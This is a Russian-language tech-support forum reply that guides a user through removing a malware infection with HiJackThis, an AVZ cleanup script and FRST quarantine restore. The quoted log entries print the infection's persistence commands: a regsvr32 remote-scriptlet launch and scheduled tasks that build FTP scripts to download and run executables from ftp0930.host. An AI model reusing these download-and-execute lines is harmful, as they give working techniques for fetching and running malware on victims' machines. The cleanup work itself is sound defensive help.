Знакома ли Вам следующая настройка?
Код:
O17 - HKLM\System\CCS\Services\Tcpip\Parameters: [SearchList] = zsttk-rcu-netrix,zsttk-rcu-netrix,zsttk-rcu-netrix,zsttk-rcu-netrix,zsttk-rcu-netrix
O17 - HKLM\System\ControlSet002\Services\Tcpip\Parameters: [SearchList] = zsttk-rcu-netrix,zsttk-rcu-netrix,zsttk-rcu-netrix,zsttk-rcu-netrix,zsttk-rcu-netrix
HiJackThis (из каталога autologger)профиксить
Важно: необходимо отметить и профиксить только то, что указано ниже.
Код:
O4-32 - HKLM\..\Run: [start] = C:\Windows\system32\regsvr32.exe /u /s /i:http://js.ftp0930.host:280/v.sct scrobj.dll
O22 - Task: Mysa - C:\Windows\system32\cmd.exe /c echo open ftp.ftp0930.host>s&echo test>>s&echo 1433>>s&echo binary>>s&echo get a.exe c:\windows\update.exe>>s&echo bye>>s&ftp -s:s&c:\windows\update.exe
O22 - Task: Mysa1 - C:\Windows\system32\rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa
O22 - Task: Mysa2 - C:\Windows\system32\cmd.exe /c echo open ftp.ftp0930.host>p&echo test>>p&echo 1433>>p&echo get s.dat c:\windows\debug\item.dat>>p&echo bye>>p&ftp -s:p
O22 - Task: Mysa3 - C:\Windows\system32\cmd.exe /c echo open ftp.ftp0930.host>ps&echo test>>ps&echo 1433>>ps&echo get s.rar c:\windows\help\lsmosee.exe>>ps&echo bye>>ps&ftp -s:ps&c:\windows\help\lsmosee.exe
O22 - Task: \Microsoft\Windows Live\SOXE\Extractor Definitions Update Task - {3519154C-227E-47F3-9CC9-12C3F05817F1} - (no file)
O22 - Task: ok - C:\Windows\system32\rundll32.exe c:\windows\debug\ok.dat,ServiceMain aaaa
AVZ выполнить следующий скрипт.
Важно на ОС: Windows Vista/7/8/8.1 AVZ запускайте через контекстное меню проводника от имени Администратора.
Код:
begin
ShowMessage('Внимание! Перед выполнением скрипта AVZ автоматически закроет все сетевые подключения.'+#13#10+'После перезагрузки компьютера подключения к сети будут восстановлены в автоматическом режиме.');
ExecuteFile('net.exe', 'stop tcpip /y', 0, 15000, true);
if not IsWOW64
then
begin
SearchRootkit(true, true);
SetAVZGuardStatus(True);
end;
QuarantineFile('C:\Windows\help\lsmosee.exe','');
QuarantineFile('c:\windows\debug\ok.dat','');
QuarantineFile('c:\windows\update.exe','');
QuarantineFile('c:\windows\debug\item.dat','');
QuarantineFile('a.exe','');
QuarantineFile('C:\Windows\debug\item.dat','');
TerminateProcessByName('c:\windows\temp\conhost.exe');
QuarantineFile('c:\windows\temp\conhost.exe','');
DeleteFile('c:\windows\temp\conhost.exe','32');
DeleteFile('C:\Windows\debug\item.dat','32');
RegKeyParamDel('HKEY_LOCAL_MACHINE','Software\Microsoft\Windows\CurrentVersion\Run','start');
DeleteFile('C:\Windows\system32\Tasks\Mysa','64');
DeleteFile('C:\Windows\system32\Tasks\Mysa1','64');
DeleteFile('c:\windows\debug\item.dat','32');
DeleteFile('C:\Windows\system32\Tasks\Mysa2','64');
DeleteFile('c:\windows\update.exe','32');
DeleteFile('C:\Windows\system32\Tasks\Mysa3','64');
DeleteFile('C:\Windows\system32\Tasks\ok','64');
DeleteFile('c:\windows\debug\ok.dat','32');
DeleteFile('C:\Windows\help\lsmosee.exe','32');
BC_ImportAll;
ExecuteSysClean;
BC_Activate;
RebootWindows(true);
end.
После выполнения скрипта компьютер перезагрузится.
После перезагрузки:
- Выполните в AVZ:
Код:
begin
CreateQurantineArchive(GetAVZDirectory+'quarantine.zip');
end.
Файл quarantine.zip из папки AVZ загрузите по ссылке "Прислать запрошенный карантин" вверху темы.
- Подготовьте лог AdwCleaner и приложите его в теме.
- - - - -Добавлено - - - - -
Уточните пожалуйста, Вам знакома следующая программа?
Код:
D:\pool\mfc7sys\mfc7sys.exe
Если да, то:
Похоже взяли утилитой FRST в карантин файл mfc7sys.dat (возможно он пренадлежит приложению mfc7sys), для восстановление из карантина файлов, выполните следующее:
- Скопируйте приведенный ниже текст в Блокнот и сохраните файл как fixlist.txt с поддержкой Unicode в ту же папку откуда была запущена утилита Farbar Recovery Scan Tool:
Код:
CreateRestorePoint:
RestoreQuarantine: C:\FRST\Quarantine\C\ProgramData\mfc7sys.dat.xBAD
RestoreQuarantine: C:\FRST\Quarantine\C\Windows\system32\cpu.txt.xBAD
RestoreQuarantine: C:\FRST\Quarantine\C\Windows\cpu.txt.xBAD
- Запустите FRST и нажмите один раз на кнопку Fix и подождите.
- Программа создаст лог-файл (Fixlog.txt). Пожалуйста, прикрепите его в следующем сообщении!
Ответить с цитированием
Сообщение от SQ
